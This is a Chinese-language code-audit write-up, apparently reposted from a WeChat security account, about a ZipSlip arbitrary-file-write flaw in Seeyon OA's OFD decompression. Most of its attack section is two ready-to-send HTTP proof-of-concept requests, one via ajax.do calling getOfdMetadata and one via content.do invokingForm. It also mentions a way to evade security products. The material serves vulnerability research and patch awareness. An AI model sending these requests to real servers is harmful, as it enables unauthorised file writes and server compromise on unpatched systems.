漏洞描述:
适用版本:
漏洞分析:
通过ajax.do路由调用GovdocGBManagerImpl类的getOfdMetadata方法, 最终进入到OfdJavaZipUtil的unzip. 完成不安全的解压, 但是还有一个前提, getOfdMetadata传入的是一个id参数, 解压压缩包必须保证当前文件存在, 否则直接返回null。
首先制作一个恶意的zip文件。
上传文件:
解压文件:
POST /seeyon/ajax.do;Jsessionid=a?method=ajaxAction&managerName=govdocGBManager&rnd=29981 HTTP/1.1
Accept: */*
CSRFTOKEN:
Host: 192.168.246.4
Connection: close
User-Agent: Apache-HttpClient/4.5.13 (Java/1.8.0_321)
Cookie: JSESSIONID=1; avatarImageUrl=3003611276195810894; login_locale=zh_CN
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 63
arguments=["-7373142480696292225"]&managerMethod=getOfdMetadata
除了通过ajax.do调用, 网上还有师傅们通过MainbodyController的invokingForm方法进行调用, 但整体来说通过ajax.do路由调用方便且简单很多. 在一定条件下还可以配合requestCompress绕过相关安全产品防护。使用MainbodyController的poc如下:
GET /seeyon/content/content.do?method=invokingForm&extensions=zip&isNew=1&ofdFileId=-3217079395985044654&subApp=2 HTTP/1.1
Accept: */*
CSRFTOKEN:
Host: 192.168.246.4
Connection: close
User-Agent: Apache-HttpClient/4.5.13 (Java/1.8.0_321)
Cookie: JSESSIONID=1; avatarImageUrl=3003611276195810894; login_locale=zh_CN
Accept-Encoding: gzip, deflate
该漏洞属于典型的java zipslip漏洞, 在压缩包内文件名使用../将文件解压到任意目录,致远官方于2023-6月发布补丁修复该漏洞。
原文始发于微信公众号(JC的安全之路):致远OA代码审计系列五-ofd解压漏洞分析
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论